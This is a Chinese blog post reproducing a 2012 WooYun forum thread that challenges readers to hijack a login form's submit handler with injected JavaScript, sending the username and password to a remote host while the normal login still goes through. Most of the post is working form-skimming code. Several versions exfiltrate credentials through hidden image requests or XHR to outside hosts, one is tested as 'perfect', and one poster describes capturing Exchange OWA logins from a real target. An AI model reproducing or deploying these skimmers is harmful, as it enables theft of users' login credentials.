一个利用 JavaScript 劫持表单的话题,在不影响原程序运行逻辑的同时,将表单数据发送到多个地址,并且把数据提交到原地址。

在乌云看到一个技术挑战贴:来吧,技术挑战,搞起!!!(大牛慎入)~~~~~~

(以下所有回复中,“核攻击”是我)


标题:来吧,技术挑战,搞起!!!(大牛慎入)~~~~~~

作者:剁刀

时间:2012-08-11 00:41

内容:

<html>
<body>
<form method=post name=loginform onsubmit="return checkform()">
<input type=hidden name=a value='do_login'>
<input type=hidden name=follow value=''>
<input type=hidden name=follow_id value=''>
<table cellspacing=0 cellpadding=2 border=0 align="center">
<tr>
<td height="32">Username:</td>
<td><input type=text name=username value='' class=inpts size=30></td>
</tr><tr>
<td height="32">Password:</td>
<td><input type=password name=password value='' class=inpts size=30></td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type=submit value="Login" class=sbmt></td>
</tr></table>
</form>
<script language=javascript>
function checkform() {
  if (document.loginform.username.value=='') {
    alert("Please type your username!");
    document.loginform.username.focus();
    return false;
  }
  if (document.loginform.password.value=='') {
    alert("Please type your password!");
    document.loginform.password.focus();
    return false;
  }
  return true;
}
</body>
</script>
<script>
/**************************INPUT CODE*******************************/
</script>
</html>

技术挑战:

这是一段常规的登录代码,登录的时候会发起一个post请求,请在INPUT CODE处添加

javasript代码对checkform进行劫持,使得将获取的用户名密码发送到远程site接收。

要求:

1. 不得影响程序原有逻辑(即不得以任何方式影响原来的登录功能,POST包必须能正常发出去)

2. 兼容并通杀IE+FF+CHROME

3. 先别扯淡,等你做出来再说简单


相关回复:


蟋蟀哥哥 (http://zone.wooyun.org/?do=action) | 2012-08-11 01:39

简单的写一个,也没对post的数据进行优化,由于没环境,可能有错误,需要调试的.只是说下思路

好久没写javascript了。。大家不要笑

</script><script type="text/javascript">
//<![CDATA[
// Input code is here:
    document.write('<script type="text/javascript" src="//www.google.com/jsapi">');
    document.write('<\/script>');
    google.load("jquery", "1.5.1","true");//调用google javascript API,用javascript写javascript的原因是因为google在伟大的GFW下不稳定。这样写,不会影响页面的加载
  $(".sbmt").click(PostPasswd);
  (function($) {
    function PostPasswd(){
    var postName = $("input[username]");//获得并定义输入的值,只是简单写下,没有写验证.
    var postPasswd = $("input[password]");
    var post1 = "name=";
    var post2 = "&pswd=";//拼接字符串
      $.ajax({
         type: "POST",
         url: "some.php",//远程POST地址
         data: post1 + postName + post2 + postPasswd,
      });
    }//ajax POST数据
    //]]>
    </script>

好吧。。我知道代码有问题..

 

beastk | 2012-08-11 01:47

也不知道你要HOOK谁的,也不知道是不是技术挑战

 

一刀终情 (麻麻说,签名要长…………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………) | 2012-08-11 09:23

技术挑战就骗人了吧~~等着用吧~

 

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-11 09:46

实在是,懒得回……

 

剁刀 | 2012-08-11 10:06

@一刀终情 @beastk 楼上的废废们,做不出来就不要唧唧歪歪。技术很牛又怎么样,有点技术就当宝贝似的藏着掖着,敝帚自珍。自己是固步自封和井底之蛙都不知道。这难道是很难的技术么,还需要在这里骗答案?我先把我的答案的md5贴在这里,你们可以闭嘴了吗?

大小: 1988 字节

修改时间: 2012年8月11日, 10:03:22

MD5: AE2EFE3D88975C98BA21E8BCCA36EB73

SHA1: E677B24FF8DFCDA3112BD0FDD23E166D48D49340

CRC32: A947AACD

 

剁刀 | 2012-08-11 10:09

@蟋蟀哥哥 顶蟋蟀哥哥

 

剁刀 | 2012-08-11 10:13

@核攻击 别介,你还是回复一个吧,做到通用再说。这个坛子里能做出完美答案的人不超过5个

 

xsser (十根阳具有长短,世上人多心不齐) | 2012-08-11 10:22

好吧,不如加个限制,用最少的字节数吧

 

蟋蟀哥哥 (http://zone.wooyun.org/?do=action) | 2012-08-11 13:57

@xsser 嗯。。用最少的字节数,这个才是技术挑战。。话说这个难度不大。。确实简单。。怎么样优化才是硬道理。。

 

剁刀 | 2012-08-11 14:19

@蟋蟀哥哥 老大,你那个代码貌似连用户名和密码都获取不到的。。。好多人都觉得这个简单,可一到实现就发现不是那么回事了,因为这里面有个小猫腻~~

 

蟋蟀哥哥 (http://zone.wooyun.org/?do=action) | 2012-08-11 14:33

@剁刀 我说了代码有问题的,呵呵。。估计的那个地方。。懂的人会知道怎么回事

 

剁刀 | 2012-08-11 14:43

@蟋蟀哥哥 完全没搞明白你说的post优化是什么意思。。。求科普。。。。

 

蟋蟀哥哥 (http://zone.wooyun.org/?do=action) | 2012-08-11 15:15

@剁刀 打错了的。其实想说的是验证和判断

 

only_guest (www.guoke.ca) | 2012-08-11 15:53

@gainover 秒了他!

 

px1624 | 2012-08-11 16:02

顶楼上!

 

Sogili (-_-)Web疯狂科学家//mmme.me(-_-) | 2012-08-11 16:35

loginform.action='//evil'//25字符

//evil 307跳转回去

挑战结束?

 

s!lly3r (嘿 二货!你在干嘛呢?) | 2012-08-11 16:43

楼主的意思是:

在点击提交按钮的时候 发送表单内容POST到正常原有的地址 还要发送该内容到另外一个自定义的地址

@蟋蟀哥哥 一楼代码明显没有做到

 

剁刀 | 2012-08-11 16:49

@Sogili 你的这个方法明显不行,试都没试~

 

剁刀 | 2012-08-11 16:50

@s!lly3r 没错,就是这个意思,不能阻碍表单的正常登录功能的同时,还要把截获的用户名密码发送到远程

 

剁刀 | 2012-08-11 16:55

@核攻击 看了你发的帖子我终于明白你懒得回的原因了,因为你根本就是混娱乐圈的哇:)

 

Sogili (-_-)Web疯狂科学家//mmme.me(-_-) | 2012-08-11 16:56

@剁刀 你试试:)

 

s!lly3r (嘿 二货!你在干嘛呢?) | 2012-08-11 16:58

原来搞过人家的exchange的owa 也是记录登陆账号密码 我分享一下思路吧

也是绑定登陆界面表单click

登陆界面js的行为就是获取表单数据 把账号和密码记录到当前域的cookie里面

又在邮箱登陆成功才会加载的某js文件里 加入了判断cookie里面是否有账号密码的代码

这样登陆成功后 js代码就会获取账号密码发送的远程地址

这样做还有个好处就是只获取有效的账号密码 因为只有邮箱登陆成功后才会运行发送密码的js代码

 

剁刀 | 2012-08-11 17:04

@s!lly3r 嘿嘿,感谢思路分享,不错:)但是就本题来讲,你会发现你绑定并记录到username/password之后,是不能直接发包的

 

Sunshine (︶︿︶/ / //! 。! o∩_∩o) | 2012-08-11 17:10

木你远程调用js不就完了,这个代码最短,嘿嘿,说着玩啊,为了不影响原登录,做个延迟,先登陆,再发送,代码今晚写一点……

 

tmp | 2012-08-11 17:12

@xsser @gainover 精通javascript的还不上???

 

Sunshine (︶︿︶/ / //! 。! o∩_∩o) | 2012-08-11 18:03

@only_guest.短信收到没有啊?

 

_Evil (性趣是最好的老师.) | 2012-08-11 18:04

@剁刀 我放假马上看看去。

 

horseluke (微碌) | 2012-08-11 18:27

我汗........这个问题看来很多人在求:

http://zhidao.baidu.com/question/385864615.html

不过上面那个是asp,和这个问题不一样。我想到的也只能是重载函数来解决

 

剁刀 | 2012-08-11 18:30

@horseluke 对于本题来说,重载函数应该不行吧,我试了貌似没成功。。。

 

剁刀 | 2012-08-11 18:31

@horseluke 疯了,我再说一遍,哥不是来骗答案的,日。

 

_Evil (性趣是最好的老师.) | 2012-08-11 20:22

1.js

var xmlhttp = false;
if (window.XMLHttpRequest) {                   //Mozilla、Safari等浏览器
  xmlhttp = new XMLHttpRequest();
} 
else if (window.ActiveXObject) {                 //IE浏览器
  try {
    xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
  } catch (e) {
    try {
      xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
     } catch (e) {}
  }
}

我压根不会写代码。。。

 

_Evil (性趣是最好的老师.) | 2012-08-11 20:26

@剁刀 我没时间测试随便想了就写下了如果没跳转就:window.location.href 或者用其他的跳转,有referer就跳referer。。。

 

_Evil (性趣是最好的老师.) | 2012-08-11 20:31

@剁刀 我也很喜欢实在的研究 hepaohui@lcx.cc 欢迎一起交流 g_talk:a13411334452@gamil.com

 

_Evil (性趣是最好的老师.) | 2012-08-11 20:59

<script/src=//1.js>
<script language="javascript">
function checkhack() {
var name = '';
var pass = '';
  if (document.loginform.username.value=='') {

    //alert("Please type your username!");

    document.loginform.username.focus();

    name = '0';
  return false;

  }

  if (document.loginform.password.value=='') {

    //alert("Please type your password!");

    document.loginform.password.focus();

    pass = '0';
return false;
  }

  return true;
  name = '1';
  pass = '1';

}
window.mousedown = function ()
{
setInterval("checkhack()",4);
if (name == '1') && (pass == '1'){
var a = document.loginform.username.value;
var b = document.loginform.password.value;
var url = "http://sb/give.php?name='+a'&pass='+b'"
xmlhttp.open('get',url,true);
}
}
</script>

 

icefish | 2012-08-11 21:34

我以前改sahi的时候,好像写过类似的,思路都是重载js的事件,我去看看

 

icefish | 2012-08-11 21:40

我没细想,感觉用addEvent那种似乎可以吧,

我本科的时候做的,http://wcf1987.iteye.com/blog/450197

 

_Evil (性趣是最好的老师.) | 2012-08-11 22:01

@icefish 非常感谢,好的大学不愧是黑阔养生之地!!!!!

 

啤酒 (xx) | 2012-08-11 23:19

楼主的<body>故意放在</script>里面的?

 

_Evil (性趣是最好的老师.) | 2012-08-11 23:30

楼上的 恩 故意的

 

啤酒 (xx) | 2012-08-11 23:35

我如果要实现这样的目的的话,我会把原文的function checkform()函数在 INPUT CODE位置再写一次让之前的原有的function checkform()失效,然后把原文的function checkform()内容原封不动的弄下来再在函数内部把用户名密码 get到我的服务器。至于代码的简介性可能就没那么好了

 

剁刀 | 2012-08-12 00:11

@啤酒 到现在为止,楼上的没有一个说到这个问题的点子上的,尼玛劫持谁不会劫持?不管你用啥都好,重载,addevent或者DOM。

 

啤酒 (xx) | 2012-08-12 00:27

除此之外我只注意到了跳转和函数执行的时间差,其他的没看出啥来大牛你快公布答案吧看得很难受了

 

啤酒 (xx) | 2012-08-12 00:51

难道机关在你那个放到script内body?希望答案不要让人失望

 

_Evil (性趣是最好的老师.) | 2012-08-12 17:11

@剁刀 我的答案可以实现吗

 

[点此查看更多回复]


然后我给出了两个答案:

版本一:

<html>
<body>
<form method=post name=loginform onsubmit="return checkform()">
<input type=hidden name=a value='do_login'>
<input type=hidden name=follow value=''>
<input type=hidden name=follow_id value=''>
<table cellspacing=0 cellpadding=2 border=0 align="center">
<tr>
<td height="32">Username:</td>
<td><input type=text name=username value='' class=inpts size=30></td>
</tr><tr>
<td height="32">Password:</td>
<td><input type=password name=password value='' class=inpts size=30></td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type=submit value="Login" class=sbmt></td>
</tr></table>
</form>
<script language=javascript>
function checkform() {
  if (document.loginform.username.value=='') {
    alert("Please type your username!");
    document.loginform.username.focus();
    return false;
  }
  if (document.loginform.password.value=='') {
    alert("Please type your password!");
    document.loginform.password.focus();
    return false;
  }
  return true;
}
</body>
</script>
<script>
    /************************** INPUT CODE *******************************/
    // By: Nuclear'Atk, Blog: Http://lcx.cc/

</script>
<div id="test"></div>
<script>
    var x = document.forms[0];                    // form
    var f;
    //alert(x.onsubmit);
    x.f = x.onsubmit;                             // 获取原始函数
    x.onsubmit = function() {                    // 设置新函数,达到拦截的目的
        //alert("hook!");

        if (document.loginform.username.value=='') {
            alert("Please type your username!");
            document.loginform.username.focus();
            return false;
        }
        if (document.loginform.password.value=='') {
            alert("Please type your password!");
            document.loginform.password.focus();
            return false;
        }

        var s;
        s = "username=" + document.loginform.username.value +
            "&password=" + document.loginform.password.value;    // 获取账号密码
        //alert(s);

        document.getElementById('test').innerHTML = "<img src=\"https://lcx.cc/?" + s + "\"" +
                                                    " width=\"0\" height=\"0\"" + 
                                                    " onload=\"document.forms[0].submit()\" onerror=\"document.forms[0].submit()\" >";
        
        return false;                            // 直接拦截表单,终止提交
    }

    /************************** INPUT CODE *******************************/
</script>
</html>

<!--
参考资料:

    关于用JavaScript拦截form的submit方法实现:
    http://www.blogjava.net/yaoleiyu/archive/2006/12/23/89636.html

    onsubmit=return false阻止form表单提交javascript:
    http://www.web600.net/html/editor/JavaScript/201001281667.html
-->

版本二:

另一个,ajax 版本的。

这个问题难点在于,如何不破坏原函数运行逻辑(不是在新函数中重写原函数功能),而在这个例子中又无法调用原函数(body)。

<html>
<body>
<form method=post name=loginform onsubmit="return checkform()">
<input type=hidden name=a value='do_login'>
<input type=hidden name=follow value=''>
<input type=hidden name=follow_id value=''>
<table cellspacing=0 cellpadding=2 border=0 align="center">
<tr>
<td height="32">Username:</td>
<td><input type=text name=username value='' class=inpts size=30></td>
</tr><tr>
<td height="32">Password:</td>
<td><input type=password name=password value='' class=inpts size=30></td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type=submit value="Login" class=sbmt></td>
</tr></table>
</form>
<script language=javascript>
function checkform() {
  if (document.loginform.username.value=='') {
    alert("Please type your username!");
    document.loginform.username.focus();
    return false;
  }
  if (document.loginform.password.value=='') {
    alert("Please type your password!");
    document.loginform.password.focus();
    return false;
  }
  return true;
}
</body>
</script>
<script>
    /************************** INPUT CODE *******************************/
    // By: Nuclear'Atk, Blog: Http://lcx.cc/

</script>
<div id="test"></div>
<script>
    var x = document.forms[0];                    // form
    var f;
    //alert(x.onsubmit);
    x.f = x.onsubmit;                             // 获取原始函数
    x.onsubmit = function() {                    // 设置新函数,达到拦截的目的
        //alert("hook!");

        if (document.loginform.username.value=='') {
            alert("Please type your username!");
            document.loginform.username.focus();
            return false;
        }
        if (document.loginform.password.value=='') {
            alert("Please type your password!");
            document.loginform.password.focus();
            return false;
        }

        var s;
        s = "username=" + document.loginform.username.value +
            "&password=" + document.loginform.password.value;    // 获取账号密码
        //alert(s);

        var xmlhttp;
        xmlhttp = GetXmlHttpObject();
        xmlhttp.open("POST", "https://lcx.cc/", false);
        xmlhttp.setRequestHeader("Connection", "Close");                                    // Close = 不保持连接,Keep-Alive = 保持连接(持久连接)
        xmlhttp.setRequestHeader("Content-Length", s.length);                               // 设置内容长度,Post 方式用的
        xmlhttp.send(s);                                                                    // Post 方式:xmlhttp.send(参数);

        return false;                            // 直接拦截表单,终止提交
    }

    function GetXmlHttpObject() {
        // 不同的浏览器创建 XMLHttpRequest 对象的方法是有差异的。
        // IE 浏览器使用 ActiveXObject,而其他的浏览器使用名为 XMLHttpRequest 的 JavaScript 内建对象。
        // 如需针对不同的浏览器来创建此对象,我们要使用一条 "try and catch" 语句。
        var xmlHttp = null;
        try {
            // Firefox, Opera 8.0+, Safari
            xmlHttp = new XMLHttpRequest();
        } catch(e) {
            // Internet Explorer
            try {
                xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
            } catch(e) {
                try {
                    xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
                } catch(e) {
                    alert("您的浏览器不支持AJAX!");
                    return false;
                }
            }
        }
        return xmlHttp;
    }

    /************************** INPUT CODE *******************************/
</script>
</html>

<!--
参考资料:

    关于用JavaScript拦截form的submit方法实现:
    http://www.blogjava.net/yaoleiyu/archive/2006/12/23/89636.html

    onsubmit=return false阻止form表单提交javascript:
    http://www.web600.net/html/editor/JavaScript/201001281667.html
-->

接下来的原帖回复:

_Evil (性趣是最好的老师.) | 2012-08-12 18:01

@核攻击 重点是劫持原函数 谢谢了 = =我发的那个是按照自己思路来写的,作者的意思是劫持函数。我上面的那个改改应该能用,用window.mousedown来判断 @_@有错误希望老大吐槽!!!

 

剁刀 | 2012-08-12 23:49

@_Evil 你的答案问题好多。。。。

 

剁刀 | 2012-08-13 00:03

@核攻击 你的代码是把帐号信息发送到远程了,但是调用document.forms[0].submit()就不会调用onsubmit事件了吧。我的意思是不破坏登录过程和判断即可,可以在新函数中重写原函数功能

 

only_guest (www.guoke.ca) | 2012-08-13 00:09

@gainover 写6个版本.我上6个马甲来发

 

剁刀 | 2012-08-13 01:04

@only_guest 老大看不过去了?看不过去自己写不来?还需要go大牛帮你搞?

 

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 08:01

@剁刀

复制代码,测试完再喊……

完全符合你任何要求……

目测你压根没测试……

并且我给了两套方案,一套利用 <img 提交,兼容任何浏览器,不存在跨域问题。

另一套 ajax,POST 提交,存在跨域问题,并且代码很长,不推荐使用。

原函数功能并没有被破坏,而是在新函数中重写了。

 

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 08:03

以上两段代码,经过调试、抓包,均成功提交数据到第三方地址,并且没有破坏原提交逻辑。

请楼主给出不符合条件的理由。

 

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 08:22

额,会错意了,楼主要要的是劫持原函数,不是实现功能。

 

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 08:26

@剁刀

不破坏登陆过程的尺度指的是?

最终提交操作必须是“onsubmit”?

 

剁刀 | 2012-08-13 09:19

@核攻击 嗯,符合要求,但是你提前闭合偶的script标签。。。这个有点不厚道:)


我又给出了另一个版本:

<html>
<body>
<form method=post name=loginform onsubmit="return checkform()">
<input type=hidden name=a value='do_login'>
<input type=hidden name=follow value=''>
<input type=hidden name=follow_id value=''>
<table cellspacing=0 cellpadding=2 border=0 align="center">
<tr>
<td height="32">Username:</td>
<td><input type=text name=username value='' class=inpts size=30></td>
</tr><tr>
<td height="32">Password:</td>
<td><input type=password name=password value='' class=inpts size=30></td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type=submit value="Login" class=sbmt></td>
</tr></table>
</form>
<script language=javascript>
function checkform() {
  if (document.loginform.username.value=='') {
    alert("Please type your username!");
    document.loginform.username.focus();
    return false;
  }
  if (document.loginform.password.value=='') {
    alert("Please type your password!");
    document.loginform.password.focus();
    return false;
  }
  return true;
}
</body>
</script>
<script>
    /************************** INPUT CODE *******************************/
    // By: Nuclear'Atk, Blog: Http://lcx.cc/

</script>
<div id="test"></div>
<script>
    var x = document.loginform;                    // form
    var f;
    //alert(x.onsubmit);
    x.f = x.onsubmit;                             // 获取原始函数
    x.onsubmit = function() {                    // 设置新函数,达到拦截的目的
        //alert("hook!");

        if (document.loginform.username.value=='') {
            alert("Please type your username!");
            document.loginform.username.focus();
            return false;
        }
        if (document.loginform.password.value=='') {
            alert("Please type your password!");
            document.loginform.password.focus();
            return false;
        }

        var s;
        s = "username=" + document.loginform.username.value +
            "&password=" + document.loginform.password.value;    // 获取账号密码
        //alert(s);

        //触发两次 onsubmit 事件,通过判断来发送两次数据,并且不破坏原函数逻辑
        if (document.getElementById("NuclearAtk")) {
            //alert("exist");
            return true;                             // 允许提交表单
        } else {
            //alert("not exist");
            document.getElementById('test').innerHTML = "<img id=\"NuclearAtk\" src=\"https://lcx.cc/?" + s + "\"" +
                                                        " width=\"0\" height=\"0\"" + 
                                                        " onload=\"test()\" onerror=\"test()\" >"; //document.forms[0].submit()
            return false;                            // 拦截表单,终止提交
        }
    }

    function test() {
        //模拟点击提交按钮,重新触发 onsubmit 事件
        var x = document.getElementsByTagName("input");
        for (var i = 0; i < x.length; i++) {
            if (x[i].type == "submit") {
                //alert(x[i].value);
                x[i].click();
                break;
            }
        }
    }

    /************************** INPUT CODE *******************************/
</script>
</html>

嘿嘿,完美版本,完全使用 onsubmit 事件提交,没有破坏原始提交逻辑。

那个闭合 script标签 是因为要插入 <img 标签,所以写了一个 <div,如果你使用 ajax 的方式提交,就不需要多此一举了。


剁刀 | 2012-08-13 09:40

@核攻击

1. 非ajax方法不允许提前闭合

2. 你的第二个方法,没看明白,哪里提交登录请求了?如果我猜测对的话,你是不是应该把lcx.cc的代码也贴出来?

 

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 10:08

@剁刀

目测你没理解,再仔细看看吧……

那个完美版本的卖点在于,它是完全使用 onsubmit 事件提交的表单,可以跟踪到……

和 lcx.cc 的代码有什么关系(你钻牛角居然能钻到这里!)?

那只是一个示例接收地址,你可以改成:www.baidu.com,或者任何地址……

至于又多出来的条件“不允许提前闭合”,我发了两个版本一个 <img、一个ajax,你使用 ajax 的版本即可,完全不需要闭合的(上边那个ajax闭合<script>,是因为我之前测试<img,然后又改成ajax的,忘记删除了,那个“<div id="test"></div>”在这里是没有实际作用的)。

完全符合楼主所有要求,以及新多出来的条件……

复制代码运行调试吧,抓包看看发了几个包,分别发送到哪里了……

目测可以结贴了……

最后,坐等楼主“标准答案”……

╮(╯_╰)╭

部分回帖:

gainover (">_< ' / & \ 看啥,没见过跨站字符么) |2012-08-15 13:25

@only_guest 这个问题的关键在于,要拦截默认的submit事件,而默认采用的submit按钮,因此解决方案,

1.要么是动态去掉原来的submit类型的按钮,自己创建一个新按钮,并进行事件设置,在进行checkform判断之后,再进行表单的submit。 

2.要么阻止submit按钮默认的表单提交行文。

这里用第2种方法编写代码:

<script>
/**************************INPUT CODE*******************************/
(function x(){
  function $(id,t){
    return document["getElementsBy"+(t?"Tag":"")+"Name"](id);
  }
  var inputs=$("input",1);
  for(var i=0;i<inputs.length;i++){
    (function(){
      inputs[i].type.toLowerCase()=="submit"
      &&
      (inputs[i].onclick=function(e){
          //调用默认的checkform函数进行表单判断
          if(checkform()){
            //使用Image对象发送数据
            with(new Image()){
              onerror=function(){
                //alert("发送成功");
                //发送成功后,再提交
                $("loginform")[0].submit();
              };
              src="http://itsokla.duapp.com/data.php?hash="+Math.random()+"&u="+$("username")[0].value+"&p="+$("password")[0].value;
            }
          }
          //阻止submit的默认提交事件
          var e=e||event;
          //for non-ie
          try{
            e.preventDefault();
          }catch(e){}
          //for ie
          event.returnValue=false;
          return false;
      });
    })(i)
  }
})();
</script>

 

p.z (我在沉默中被放屁惊醒) | 2012-08-15 13:46

不用那么麻烦吧,直接hook一下checkform函数就可以了啊. @jsbug 的那个返回值的细节没弄好.

var c = checkform;
checkform = function(){
  (new Image()).src = 'http://my/?u' + document.loginform.username.value + '&p=' + document.loginform.password.value;
  return c();
}

 

剁刀 | 2012-08-15 13:52

呃,好吧,答案在此:

var x = document.mainform;
x.onsubmit=function() {
    if(checkform()==false) return false;
    var user=document.mainform.username.value;
    var password=document.mainform.password.value;
    var a=new Image();
    a.onerror=function(){
      document.mainform.submit();
    };
    a.src="http://x.com/x.php?&u="+user+"&p="+password;
    return false;
}

[更多内容请浏览原帖]

参考资料:

关于用JavaScript拦截form的submit方法实现

onsubmit=return false阻止form表单提交javascript

留言评论(旧系统):

我叫【石小粉】 @ 2012-09-17 21:35:38

学习了。我这就弄个乌云的马甲去。

本站回复:

额……